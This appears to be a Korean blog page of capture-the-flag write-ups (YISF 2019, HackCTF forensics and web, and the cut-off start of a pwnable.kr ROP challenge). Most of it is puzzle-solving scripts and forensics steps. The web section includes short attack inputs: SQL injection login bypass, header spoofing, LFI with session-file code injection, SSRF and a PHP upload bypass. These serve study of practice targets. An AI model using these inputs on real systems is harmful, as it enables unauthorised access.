반응형
반응형
반응형

M4ndU 600점 10등

 

REV 50

FOR 50

MISC 50 100 150 200

 

 

 

[2019] 제17회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.docx
0.42MB

 

[2019] 제17회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.pdf
0.41MB

 

두개 모두 동일한 내용의 파일입니다.

 

 

 

아래 글에는 보고서에 포함된 내용 + 풀이 과정 비하인드(?) + MISC 300 문제 풀이 일부를 포함하고 있습니다.

 

 

Reversing 50

문제 이름

기밀 문서

 

문제 설명

 문서에는 엄청난 것이 들어있는게 분명하다.
 무엇이 들어있는지 확인해볼까?

TOP_SECRET
 Hint1 : 특정 폴더와 파일 이름?
 Hint2 : 비밀번호 변조

 

 

TOP_SECRET이라는 파일이 하나 주어집니다.

 

 

ELF 64bit file

Exeinfo PE로 보면, ELF 64비트 파일임을 알 수 있습니다.

 

 

main함수
sub_B2F함수

IDA로 까보면, 실행경로와 파일명을 출력해주고, id와 pw를 입력받는 것을 알 수 있습니다.

 

sub_B2F함수의 42행을 보면, 실행경로의 7번째 글자부터 4바이트가 YISF인지 비교를 합니다.

있을 경우, Hmm...?을 출력해줍니다.

 

그리고 실행경로의 12번째 글자부터 10바이트를 TOP_SECRET와 비교합니다.

있을 경우, id와 pw을 입력을 받습니다.

 

 

 

id
pw

id와 pw는 변수명을 더블클릭하면 문자열을 보여줍니다.

 

id =  The_World_Best_Programmer

 

pw =  qwe123

 

 

 

따라서 TOP_SECRET파일을  /home/YISF/TOP_SECRET/ 으로 이동시켜서 실행하면 됩니다.

 

 

너 속았냐?

 

하지만 이렇게 출력된 플래그는 인증이 안됩니다. 조건을 하나 더 충족시켜야 하는데요. main함수를 다시 보시면 20번 행에서 파일명의 7번째부터 4바이트를 "flag"와 비교함을 알 수 있습니다.

 

따라서 파일명도 바꿔주어야 합니다. 저는 파일명을 123456flag로 변경하였습니다.

 

 

오이 오이 믿고 있었다구!!

그러면 인증가능한 플래그가 출력됩니다.

 

 

 

 

Forensic 50

문제 이름

범죄를 증명하라(1)

 

문제 설명

마약관련 범죄를 저지른 범죄조직을 감시하던중 네트워크를 통해 정보를 주고받았다는 제보를 받았다. 패킷을 수집하였으나 분석을   있는 사람이 없어 분석을 못하고 있다. 수사기관을 도와 분석을 마무리하자.

 <제보1> 익명의 제보자는 조직원들이 FTP 이용하여 파일을 공유했다라고 한다.
 <제보2> 익명의 제보자는 recovery라는 메시지를 남긴  연락이 두절되었다.....
 <제보3> 연락 두절된 제보자가 image.zip 복구하라는 메세지를 보냈다!

 

 

 

작년 처럼 포렌식으로 점수먹으려다가 첫 문제에서 10시간이상 소비한 문제...

 

일단 힌트가 없었을때, wireshark로 분석했을 때, 크게 2~3개정도로 나눌 수 있었습니다.

 

1. 아프리카tv 패킷

2. ftp 패킷

3. websocket 패킷

 

 

websocket 패킷을 봤을 때 사람 이름들이 나오길레 이건가 싶었는데... 결론은 관련이 없었습니다. 아프리카tv쪽에서 나온 패킷인 것 같습니다. (추측)

 

 

힌트1 <제보1>을 통해서 ftp패킷을 분석함이 확실해져서 ftp-data패킷만 모아서 파일들을 추출하였습니다. wireshark 필터에 (ftp-data)을 입력하면 해당 패킷만 모아 볼 수 있습니다. 그리고 패킷 우클릭 > follow > TCP Stream

RAW > save as > 추출!

 

image.zip 파일, 기차 이미지 파일 2개, 멜론 설치 파일

총 4개의 파일을 얻을 수 있었습니다. image.zip파일이 오류로 열리지 않느 것 빼곤 나머지 파일은 정상이었습니다.

 

HxD로 봤을 때, image.zip파일이 열리지 않는 이유가 일단 파일 크기가 매우 크게 설정된 것도 있었고, 파일 명도 읽을 수 없는 형태였습니다. zip파일 시그니쳐가 손상된 것도 아니고... 제가 아는 복구 방법으로는 해결을 못했습니다.

 

그렇게 힌트 존버하다가... 나온 힌트들이 모두 이미 진행된 내용이라 포기하려다가

 

어떤 한분이 푸시고, 디스코드에 '운이 좋게 풀었다', '노가다 했다'라고 하셔서 저도 풀 수 있을 것 같다는 생각이 들었고 구글링을 시작했습니다. "ctf zip 복구"로 검색을 하니 블로그 글 하나를 찾을 수 있었습니다.  

 

https://m.blog.naver.com/PostView.nhn?blogId=j28150&logNo=220993474255&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

[Plaid CTF 2017] zipper (Misc 50pts)

Something doesn't seem quite right with this zip file. Can you fix it and get the flag?zip파일 헤...

blog.naver.com

 

위 블로그 글에 나온대로 풀려고 했는데, 주어진 zip파일은 파일 크기 부분이 정상이 아니었기 때문에, data부분의 정확한 크기를 알 수 없었습니다. 그래서 1바이트씩 줄여가며 시도할 생각으로 0000이 끝나는 부분을 기점으로 추출해서 zip파일을 만들고 파이썬 코드로 압축 풀기를 시도했습니다.

 

image.zip dat부분
data 부분을 추출하여 만든 image.zip

 

s.py

1
2
3
import zlib
= open('image.zip').read()
print zlib.decompress(d, -15)
cs

python s.py

실행결과 :

FLAG : YISF{Y0U_4R3_G00D_H0M3_M4K3R}

 

 

띠용.. 플래그가 바로 나와버렸습니다...

 

 

 

 

Misc 50

문제 이름

 확인

 

문제 설명

룰을 확인하세요!

 

대회의 룰을 읽고 하단의 ‘확인을 클릭하면플래그가 나왔습니다.

FLAG : YISF{G00D_LUCK_3V3RY01V3}

 

 

 

 

Misc 100

문제 이름

Hidden area search

 

문제 설명

nc 218.158.141.199 24763

  문제마다 새로운 직선방정식 3개가 주어진다.
  직선방정식들로 만들어진 삼각형의 넓이를 구하여라

 

 

일차방정식 3개를 입력받아, 각각  방정식끼리 연립해서 교점을 구하고,  점의 좌표를  때의 삼각형 넓이 공식에 대입하여 넓이를 구하였습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from sympy import *
from pwn import *
 
def cleaneqn(s):
    s = str(s)
    s= list(map(str, s.split()))
    s[0= s[0].replace("b'""")
    s[6= s[6].replace("\\n'","")
    if int(s[3])<0:
        ss = s[0]+"*"+s[1]+s[3]+"*"+s[4]+" "+s[6]
    else:
        ss = s[0]+"*"+s[1]+s[2]+s[3]+"*"+s[4]+" "+s[6]
    return ss
 
def solveeqn(a1, a2): #연립방정식 풀어서 x와 y값 구하기
    x, y = symbols('x y')
    a1 = a1.split()
    a2 = a2.split()
    return eval("solve( [ Eq("+a1[0]+" ,"+a1[1]+"), Eq("+a2[0]+", "+a2[1]+") ], [x,y] )"#입력 형태 맞춰 넣기가 애매해서 eval함수 사용했습니다.
 
def solve_func(e):
    x, y = symbols('x y')
 
    for i in range(0,3):
        e[i] = cleaneqn(e[i]) #입력받은 방정식을 sympy가 입력받을 수 있는 형태로 변환
 
    ss1 = solveeqn(e[0], e[1]) #교점 좌표 구하기
    ss2 = solveeqn(e[1], e[2])
    ss3 = solveeqn(e[0], e[2])
    x1 = ss1[x]
    y1 = ss1[y]
    x2 = ss2[x]
    y2 = ss2[y]
    x3 = ss3[x]
    y3 = ss3[y]
    ans = 0.5*abs((x1 - x2)*y3 + (x2-x3)*y1 + (x3-x1)*y2) #각 꼭짓점의 좌표를 알 때의 삼각형 넓이 공식
    return ans
 
#main
equation = ["0"]*3 #방정식을 저장하기 위함
= remote("218.158.141.199"24763)
p.recvuntil("Start>")
p.recvline()
p.recvline()
for i in range(0100):
    print(p.recvline()) #step
    p.recvline()
    equation[0= p.recvline()
    equation[1= p.recvline()
    equation[2= p.recvline()
    for j in range(03):
        print(equation[j])
    p.recvuntil(":")
    p.sendline(str(solve_func(equation)))
    print(p.recvline()) #correct
    p.recvline()
 
p.interactive()
 
#flag : YISF{Mathematical_ability_i5_n0t_ru5ty}
 
cs

 

 

 

Misc 150

문제 이름

Rule_reverse_engineering

 

문제 설명

[MISC-150]Rule_reverse_engineering
 nc 218.158.141.182 52387

 실행마다 예시인 문자열이 달라지는데 바이너리값은 같을 때가 있다.
 같은 것을 보면 문자열에서 바이너리로 변하는 일정한 규칙이 있는  같다.
 규칙이 적용된 문자열이 주어진 바이너리와 같도록 문자열을 입력해라 

 

 

Step :  1

00010011000001100110101
height = 5
table :  {'4': '1', 'x': '001', '3': '0001', '5': '01', '6': '0000'}

 

 

table이 주어집니다. 오른쪽에 해당하는 문자열을 왼쪽 문자로 치환해주면 됩니다.

치환해야할 문자열이 긴 것 부터치환을 하면 됩니다.

그런데 치환한 문자가 0이나 1이면 치환해야할 문자로 판단하여 또 치환해버립니다. 

 

그래서 치환한 문자가 0이 1이면 전혀 다른 범위의 문자로 바꾸었다가 마지막에 되돌려 놓았습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import ast
 
def ccccc(h):
    h = h.replace('b"table :  '"")
    h = h.replace('\\n"'"")
    print(h)
    inn = ast.literal_eval(h) #type dictionary
    return inn
 
def ddd(e):
    e = e.replace("b'""")
    e = e.replace("\\n'""")
    return e
 
def ans(innn, task):
    innn = ccccc(innn)
    ss = sorted(innn, key=lambda k : innn[k]) #치환 대상 문자열의 길이가 긴 순서대로 치환
    task = ddd(task)
    for j in ss:
        p=j
        if j == "1"#치환 대상의 문자열과 동일한 0 과 1을 범위 밖의 문자로 치환하여 나중에 다시 되돌림
            p = "#"
        if j == "0":
            p = "@"
        task = task.replace(innn[j], p)
    task = task.replace("#""1")
    task = task.replace("@""0")
    print(task)
    return task
 
#main
= remote("218.158.141.182"52387)
p.recvuntil("Step :  1")
p.recvline()
p.recvline()
for i in range(099):
    try:
        t = p.recvline() #task
        p.recvline()
        table = p.recvline() #table
        p.recvuntil(": ")
        p.sendline(ans(str(table), str(t)))
        print(p.recvline())
        p.recvline()
        p.recvline()
        p.recvline()
        print(p.recvline())
        print(p.recvline())
    except:
        p.interactive()
= p.recvline() #Stage 100
p.recvline()
table = p.recvline()
p.recvuntil(": ")
p.sendline(ans(str(table), str(t)))
p.interactive()
 
#flag : YISF{Y0u_make_table_WeLL}
 
cs

 

 

 

Misc 200

문제 이름

Find First!

 

문제 설명

nc 218.158.141.142 9238

 처음 시작 위치를 찾아라!
 [설명]
 1. 모든 버튼은 전부 한번  눌려야 하고 항상 마지막으로는 F 눌립니다.
 2. 배열의 시작은 왼쪽 ( (x, y)=(0, 0) )이고 x y 값은 0 양의 정수 입니다.
 3. 버튼의 처음 시작 위치를 문제당 1 안에 찾으십시오.
 4. 배열의 행과 열의 크기는 5 이상, 10 이하 입니다.
 5.문자는 다음 버튼의 위치를 나타내고 숫자는 이동  수를 나타냅니다.
 5-1) D = Down, U = Up, R = Right, L = Left  
 5-2) Ex) D5 = 아래로 5, R3 = 오른쪽으로 3 
 6. 모든 스테이지를 클리어 하면 플래그가 주어집니다.

 

[?] Input Example
[*] Problem 1
R2 R2 D2 F
U1 D1 D2 D2
U1 U2 U1 L3
R1 U2 L2 U1

[?] If the starting position's Row : 3, Column : 1.
Input : 3 1
[O] Correct!

[*] Problem 1
D4 L1 R2 D1 F
R2 U1 D1 L3 D2
D1 R3 D1 U2 L4
R1 U2 U3 U1 D1
R3 U2 L1 U1 L2

 

 

 

쉽습니다. 일단 F에서부터 출발할 필요가 없습니다. 중간에서 찾아가도 시작점은 나오니까요.

 

 

시작점을 (0,0)에서부터 시작해서 위 아래 양옆 기준으로 이전 위치를 찾아갑니다.

 

이전 위치가 위라면 n칸만큼 떨어진 곳에 Dn이 있을 것이고, 왼쪽이라면 Rn이 존재할 것입니다. 이러한 방식으로 이전 위치를 찾고, 이전위치를 기준으로 다시 더 이전 위치를 찾습니다. 모든 방향으로 조건에 만족하는 것이 없다면 그 곳이 시작위치가 됩니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import re
 
def ddd(e):
    e = e.replace("b'""")
    e = e.replace("\\n'""")
    return e
 
 
def cntarr(col): #count element in first line / range of x
    col = ddd(col)
    col = col.replace("\\t""")
    col = col.replace("F""FF")
    col = col.replace("\\r""")
    cnt = int(len(col) *0.5)
    return cnt
 
def ans(b, c, d):
 
    for o in range(0, d):
        a[o] = ddd(str(a[o]))
        a[o] = a[o].replace("\\t""")
        a[o] = a[o].replace("\\r""")
        a[o] = a[o].replace("F""FF")
        aa = a[o]
        print(a[o])
        a[o] = re.findall(r'..',aa)
    print(a)
    now_x = 0 #F부터 시작할 필요가 없음. (0,0)지점부터 시작
    now_y = 0
    overcnt = 1
    while(overcnt > 0): #시작위치를 찾아내면 루프를 벗어남
        #현재 위치가 시작점이 아니라면, 이전 위치를 찾아야함.
        #만약 이전 위치가 왼쪽 방향이라면, 왼쪽 방향 n거리 만큼에 Rn이 존재함.
        #아래쪽 방향이라면, 아래쪽 방향 n거리 만큼에 Un이 존재함
        for k in range(010): #MAX 10. scan start
            n = str(k)
            if now_x+< c: #배열 범위를 벗어나면 오류가 나기 때문에, 범위를 지정해주어야함
                if now_y >= 0 and now_x >=0 and a[now_y][now_x+k] == ("L"+n): #right
                    now_x += k #찾은 경우, 현재 위치를 찾은 위치로 이동함
                    break
            if now_y+< d:
                if now_y >= 0 and now_x >=0 and a[now_y+k][now_x] == ("U"+n): #down
                    now_y += k
                    break
            if now_x->=0:
                if now_y >= 0 and now_x >=0 and a[now_y][now_x-k] == ("R"+n): #left
                    now_x -= k
                    break
            if now_y->=0:
                if now_y >= 0 and now_x >=0 and a[now_y-k][now_x] == ("D"+n): #up
                    now_y -= k
                    break
            if k == 9:
                overcnt = 0 #모든 방향에 존재하지 않는다면 현재 위치가 시작지점임
 
    ax = now_x
    ay = now_y
    print(ax, ay)
    return ax, ay
 
 
 
= remote("218.158.141.142"9238)
p.recvuntil("Problem 1\n")
p.recvuntil("Problem 1\n")
for m in range(0,99):
    a= ["0"]*10
    a[0= p.recvline()
    print(a)
    count = cntarr(str(a[0]))
    c2=1
    for i in range(110):
        a[i] = p.recvline()
        c2 +=1
        if len(str(a[i])) < 10:
            c2-=1
            break
    p.recvuntil(": ")
    w, z = ans(a, count, c2)
    p.sendline(str(w)+" "+str(z))
    print(p.recvline())
    p.recvline()
    print(p.recvline())
#stage 100
a= ["0"]*10
a[0= p.recvline()
print(a)
count = cntarr(str(a[0]))
c2=1
for i in range(110):
    a[i] = p.recvline()
    c2 +=1
    if len(str(a[i])) < 10:
        c2-=1
        break
p.recvuntil(": ")
w, z = ans(a, count, c2)
p.sendline(str(w)+" "+str(z))
p.interactive()
 
#flag : YISF{Y0(_)_4r3_4_w0nd3rf(_)l_pr0gr4mm3r!!}
 
cs

 

 

 

Misc 300

 

솔버 0이라서 그런지 지금은 문제가 닫혀있다.

 

 

nc접속을 하면, 스테이지가 100개가 있는데, 스테이지마다 매우 많은 base64인코딩 문자열을 준다.

디코딩을 하게 되면 hex값이 나온다. 이를 파일로 만들면 png파일이 나온다.

 

이미지를 열면 이미지에 문자가 젹혀 있고, 이 문자를 읽어서 5초안에 제출하면 된다.

 

 

그래서 생각한게, 이미지를 만들어놓고 내가 이 이미지를 바로 봐서 직접 타이핑해서 제출하는 방식이었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import base64
import binascii
import cv2
from PIL import Image
import matplotlib.pyplot as plt
 
# matplotlib.image 를 사용하기 위해선 matplotlib 뿐만 아니라 pillow도 깔아야 한다
 
import matplotlib.image as mpimg
 
def show(e):
    data = str(e)
    data = data.replace("b'""")
    data = data.replace("\\n\\n['""")
    data2 = data.split("\\n")
 
    dat= ""
    for i in range(0len(data2)):
        dat += str(base64.b64decode(data2[i]).decode('utf-8'))
    dat = dat.replace("b'""")
    dat = dat.replace("'""")
 
    red = dat
 
    bin_ = ""
    for j in range(0len(red), 2):
        binary_d = str(red[j:j+2])
        binary_d = binary_d.replace("b'""")
        binary_d = binary_d.replace("'""")
        bin_ += "\\x"+binary_d
 
    fh = open("image.png""wb")
    eval("fh.write(b'"+bin_+"')")
    fh.close()
    
    '''
    # 색상 범위 설정
    lower = (0, 0, 0)
    upper= (150, 150, 150)
 
    # 이미지 파일을 읽어온다
    img = mpimg.imread("image.png", cv2.IMREAD_COLOR)
 
    # BGR to HSV 변환
    img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
 
    # 색상 범위를 제한하여 mask 생성
    img_mask = cv2.inRange(img_hsv, lower, upper)
 
    # 원본 이미지를 가지고 Object 추출 이미지로 생성
    img_result = cv2.bitwise_and(img, img, mask=img_mask)
 
    # 결과 이미지 생성
    imgplot = plt.imshow(img_result)
 
    plt.savefig('./image1.png')
 
    img = Image.open('./image1.png')
    thresh = 245
    fn = lambda x : 255 if x > thresh else 0
    r = img.convert('L').point(fn, mode='1')
    r.save('./image1.png')
    '''
 
 
= remote("218.158.141.149"25496)
p.recvuntil("=\n")
p.recvline()
 
for ZZZZZZZZZZZZZ in range(0,99):
    b64 = p.recvuntil("[")
    show(b64)
    p.recvuntil(": ")
    user_input = str(input())
    p.sendline(user_input)
    print(p.recvline())
    print(p.recvline())
    print(p.recvline())
    print(p.recvline())
 
b64 = p.recvuntil("[")
show(b64)
p.interactive()
 
cs

 

 

근데 이게 줄쳐진 것 때문에 사람이 읽기도 힘들다. 정확히는 비슷한 글자들로 헷갈린다.

게다가 한 스테이지마다 5초안에 입력하는걸 100스테이지를 해야하는데 직접 해보니 25스테이지 정도가 한계였다.

타임아웃뜨거나 오타나거나해서...

 

그래서 컴퓨터가 직접 글자를 인식해서 자동으로 보내게 해야 했다. 근데 이게 가능한가...

 

pytesseract을 설치해서 사용해 봤는데 인식을 못했다.

 

 

그래서 글자를 더 잘 구별할 수 있도록 회색글자부분만 추출해서 검정으로 바꾸는 코드를 추가했었다.

 

그런데도 인식을 못했다. 나라도 잘 봐서 직접 입력하더라도 정확도를 높이려고 했는데....

 

 

2스테이지를 넘어가면 ... 이전 이미지에 겹쳐져서 나온다. 처음 써보는 모듈이라 이걸 어떻게 해결해야 할지도 모른다..

 

 

 

마지막에 생각난 아이디어. 여러번 접속을 해서

base64문자열 받고 -> 이미지 변환 -> 직접 입력

직접 입력한 값과 base64문자열의 해쉬값을 db에 저장

최종실행에 입력받은 base64를 해쉬돌려서 db에 있는거랑 비교, 입력값 전송

 

그런데 전체 이미지 개수가 1만개가 넘어갈 수도 있을 텐데.. 이것도 안될 것 같았다. 포기

 

 

 

반응형
반응형

Welcome_Forensics

50

 

이미지 우클릭하고 새 탭에서 보기를 하면 플래그를 확인할 수 있다.

 

 

 

Question?

100

 

압축을 풀면 나오는 파일 이름이 Do_you_know_HxD 이다.

HxD로 깠는데, 앞 뒤에 플래그가 없었다.

그래서 다른 삽질을 하려다가 Hack을 검색해보니 플래그가 숨어있었다.

 

flag : HackCTF{P1e45e_find_m3}

 

 

 

So easy?

100

 

문제파일 이미지를 보면, 러시아 전통 인형이다. 파일안에 파일이 숨어있다는 뜻.

일단 hxd로 까봤는데 뒤에 플래그가 있어서 당황스러웠으나... 가짜 플래그다.

so easy? 그건 fake야.

 

PK가 있으므로 zip파일이 있음을 알 수 있다. 직접 추출하기 귀찮아서 foremost 이용해서 추출했다.

zip파일 하나 안에 txt파일이 하나 있고, 거기에 플래그가 있다.

FLAG : HackCTF{M4try0shka_do11}

 

 

 

Secret Document

150

 

와 기밀문서!

플래그 파일은 암호가 걸려있다.

 

힌트파일을 보자.

hint1 : Brute-Force NOOOOOOOOOOOO!

hint2 : Do you think the password exists?

 

암호화는 fake라는 소리다. 실제로 암호는 안걸려있는데 걸려있는 것처럼 위장한 것이다. hxd를 이용해 해당 헤더를 조작해주면 된다.

 

다른 파일의 flag bit가 00 08 인데 flag.txt의 flag bit는 09 08이다. 09 08을 00 08로 바꿔주면 flag.txt가 열린다.

 

 

 

세상에서 잊혀진 날 찾아줘!

150

 

flag == Ctrl+a & Ctrl+c & Ctrl+v

pdf열고 위 동작을 해보면 이미지 위에 안보이는 텍스트들이 있음을 알 수 있다.

 

 

 

나는 해귀다

150

 

이미지 보면 hex값을 뒤집어 놓았다고 했다.

정말이다.

다시 뒤집자.

 

< waytogo.png xxd -p -c1 | tac | xxd -p -r > file.png

 

이미지에 나와있는 플래그도 뒤집혀 있다.

 

 

Magic PNG

150

 

일단 png 파일임을 인식을 못한다. 왜 그런가 알기위해 hxd로 까보았다.

 

파일 시그니처가 맞지 않다.

PNG 시그니처는  89 50 4E 47 0D 0A 1A 0A 이다. 맞게 수정해주자.

 

수정하고 나면, 이미지가 위에서 나오다가 잘려버린다.

 

원인은 TweakPNG에서 찾을 수 있었다.

청크 중간에 IDAT이 아닌 idat이 있다.

HxD를 이용해서 idat부분을 IDAT으로 수정해주면 완벽한 이미지와 함께 플래그가 나오게 된다.

 

 

Terrorist

200

당신은 현장을 수사하여 범행과 관련된 단서를 찾았다!
단서를 분석하여 다음 범행장소를 알아내야한다.
플래그 포맷은 HackCTF{범행장소}로 적어야 한다.

 

파일이 하나 주어지는데 mp4 파일이다.

재생시켜보면 역재생된 말소리가 들린다.

동영상편집프로그램 같은거 사용해서 다시 역재생하면 된다.

 

잔상

250

 

용량이 같은 파일 2개가 주어진다.

 

oct to ascii

 

 

Let'S get it ! Boo*4

350

 

0xCDA90xBD840xD7880d.8AC000H.8CE580xC7880xB2940xC8740xC7AC0v.8C57C

아 앞에 B10C 빼먹었넹

 

끝.

반응형

'WAR GAME > HackCTF' 카테고리의 다른 글

HackCTF Reversing 카테고리 풀이  (0) 2019.08.29
HackCTF Pwnable [Basic_BOF #1] 풀이  (0) 2019.07.24
HackCTF Cryptography 카테고리 풀이  (2) 2019.07.18
HackCTF MISC 카테고리 풀이  (0) 2019.07.18
HackCTF Web 카테고리 풀이  (0) 2019.07.18
반응형

/ 50

로봇 이미지가 있다.

로봇...로봇...로봇...robots.txt?!

robots.txt의 내용

역시나..

해당 페이지로 이동하면 플래그가 나온다.

FLAG : HackCTF{w3lcome_to_s1mple_web_h3cking!}

 

 

Hidden 50

5번 파일에 플래그가 있다고 한다.

페이지에는 1번부터 4번까지의 버튼이 있다.

버튼을 클릭하면 http://ctf.j0n9hyun.xyz:2023/?id=1 로 이동하는 것을 알 수 있고, 여기서 id 값을 5로 입력해 주면 플래그가 나온다.

FLAG : HackCTF{idx_is_so_s1m3le_ctf}

 

 

Button 50

페이지 소스를 까서 submit의 value값을 button에서 flag로 변경해주고 버튼을 클릭하면 플래그가 출력된다.

FLAG : HackCTF{0k4y...php_c4nn0t_cr34t3_4_butt0n}

 

 

보물 100

page 값에 모든 정수값을 대입해봐야 하는 것 같다.

burp suite을 이용해서 1부터 10000 까지 시도하도록 했고, 중간에 길이가 다른 응답이 날라와서 확인해 보니 플래그가 있었다.

burp suite을 이용했다.

FLAG : HackCTF{0hhhhh_5o_g0od_try!}

 

 

Guess me 100

게싱문제는 아니다.

$filename의 값을 'secret.txt'로 선언한 뒤에 extract($_GET);을 이용해 값을 받고 있다.

따라서 우리는 $filename의 값을 바꿀 수 있고, $filename의 값을 아무 값으로 변경해 준다면, 해당 파일은 존재하지 않을 것이므로 -> guess에 아무 값도 입력해주지 않는다면 $guess === $secretcode 가 TRUE가 되어 플래그가 나올 것이다.

 

http://ctf.j0n9hyun.xyz:2030/?filename=1&guess=

성공이다.

 

FLAG : HackCTF{3xtr4c7_0v3rr1d3ds_pr3vi0u5_kn0wn_v4r1abl35}

 

 

Read File 100

http://ctf.j0n9hyun.xyz:2021/flag.php -> Access Denied

http://ctf.j0n9hyun.xyz:2021/?command=http://ctf.j0n9hyun.xyz:2021/flag.php -> X

http://ctf.j0n9hyun.xyz:2021/?command=http://ctf.j0n9hyun.xyz:2021/flflagag.php -> Access Denied

 

flag 문자열이 필터링 되고 있음을 확인. 권한을 얻기 위해 localhost로 바꿔준다.

 

http://ctf.j0n9hyun.xyz:2021/?command=http://127.0.0.1:2021/flflagag.php -> X

잉? 내가 알고 있는 문제랑은 조금 다른 것 같다.

 

http://ctf.j0n9hyun.xyz:2021/?command=flflagag.php -> 성공

flag is HackCTF{w3lcome_to_vu1n_web?}

 

 

Login 100

첫 페이지에 있는 view source를 클릭해서 php 소스를 보자.

sqli를 시도해보면 될 것 같다. 어떤 id를 사용해야 하는지는 안나와있지만, admin을 id로 사용하면 될 것 같은 느낌이다.

id = admin'-- '

pw = 1234

Flag is HackCTF{s1mple_sq1_1njecti0n_web_hack!!}

 

 

마법봉 100

일단 소스를 보자

바로 보고 매직 해시 문제임을 알아야 한다.

매직 해시 리스트에서 해당 값을 찾아서 어떤 값을 넣어야 할지 찾아내면 끝.

https://www.whitehatsec.com/blog/magic-hashes/

 

Magic Hashes | WhiteHat Security

For more than the last decade, PHP programmers have been wrestling with the equals-equals (==) operator. It’s caused a lot of issues. This has a particular implication for password hashes. Password hashes in PHP are base16 encoded and can come in the form

www.whitehatsec.com

 

FLAG : HackCTF{magic_makes_everything_possible}

 

 

 

Time 150

2달 하고도 1초 더 기다리면 플래그를 얻을 수 있다! 기다리기만 하면 되는 개꿀문제

사실 is_numeric함수에서 지수형태 5.184001e6를 이용해 통과하고

그 다음 조건문들은 5.184001e6의 계산값 5184001으로 통과되며, sleep함수에서 int형으로 변환 될 때 5.184001e6은 5로 변환되어 5초만 기다리면 플래그를 얻을 수 있다.

flag is HackCTF{1_w4nt_t0_sp3nd_m0r3_t1m3

 

 

Input Check 150

페이지 소스를 보면 힌트가 있다.

그래서 변수를 배열로 줬더니 플래그가 나왔다.

http://ctf.j0n9hyun.xyz:2033/?text[]=flag

HackCTF{y0u_are_catch_f1ag!!}

 

 

Home 200

문제 페이지를 보면, 내 ip가 나오고, 힌트로 머리말을 생각하라고 한다. 머리말 == header

header에 x-forward-for을 추가해 주면 된다.

curl --header "X-Forwarded-For: 127.0.0.1" http://ctf.j0n9hyun.xyz:2034 

curl은 윈도우 cmd에서도 잘 된다.

 

flag is HackCTF{U5u4lly_127.0.0.1_4ll0w5_y0u_t0_p4ss}

 

 

 

가위바위보 200 

가위바위보 게임을 이용해서 플래그를 구하는건가 싶어, 소스를 뒤져보았지만 플래그랑은 관련이 없는 것을 알 수 있었다.

 그다음 루트는 프로필 이미지를 변경할 때 파일업로드 취약점쪽이다.

 

프로필이미지 파일명이 저기 이름으로 등록되는데

이 이름이 .php로도 변경이된다.

 

파일에 php파일을 넣으면 a.php로 이동해서 php 실행이 가능하다.

 

이미지 검증은 이미지 시그니쳐를 삽입함으로써 우회한다.

 

 

Cookie 300

cookie라는 쿠키의 값을 base64로 3번 디코딩하면 아래 문자열이 나온다.

{"id":"2","type":"guest"}

일단 id를 1로, type을 admin으로 바꿔주고 base64로 3번 인코딩해보았다.

PassAdmin검증은 php strcmp 배열 취약점을 사용하여 우회하면 된다.

 

 

 

LOL

300

 

로컬로 flag.php에 접속해야하나 보다.

ssrf와 local ip 우회를 사용하자

url@realurl

 

Authenticate

350

로그인인가

 

뭔가 있다.

id 9자리 cresponse 넣고

eval 대신에 alert 돌리니까

여기서 9자리 string을 뽑는다.

dumbh4ck5

 

이걸 username으로 넣고 돌리니 코드가 나왔다.

XorIsNotSooS3cur3 패스워드 겟

 

 

Wise Saying

350

 

음 또 로그인?

뭘로 로그인하든 로그인이 된다.

lfi인가

 

근데 say로 안끝나면 욕한다.

 

phpinfo를 주네

 

/tmp/sess_[value]

세션쿠키값뒤에 say 붙여서 로그인하고 lfi

index.php?page=../../../../../tmp/sess_2b86721cb6a9e6334eb6d1b97a5dd3basay

된다.

이제 아이디에 php코드를 삽입하자.

 

반응형
반응형


horcruxes - 7 pt


Voldemort concealed his splitted soul inside 7 horcruxes.

Find all horcruxes, and ROP it!

author: jiwon choi


ssh horcruxes@pwnable.kr -p2222 (pw:guest)




horcruxes@ubuntu:~$ cat readme 

connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.

rop it to read the flag.



horcruxes를 가져와서 IDA로 열어봤다.


scp -P 2222 horcruxes@pwnable.kr:~/horcruxes ~/



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST18_4@1
 
  setvbuf(stdout, 020);
  setvbuf(stdin, 020);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 0x7FFF00001730);
  seccomp_rule_add(v3, 0x7FFF000050);
  seccomp_rule_add(v3, 0x7FFF000030);
  seccomp_rule_add(v3, 0x7FFF000040);
  seccomp_rule_add(v3, 0x7FFF00002520);
  seccomp_load(v3);
  return ropme();
}
cs


main 함수에서 init_ABCDEFG()함수를 보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned int init_ABCDEFG()
{
  int v0; // eax@4
  unsigned int result; // eax@4
  unsigned int buf; // [sp+8h] [bp-10h]@1
  int fd; // [sp+Ch] [bp-Ch]@1
 
  fd = open("/dev/urandom"0);
  if ( read(fd, &buf, 4u) != 4 )
  {
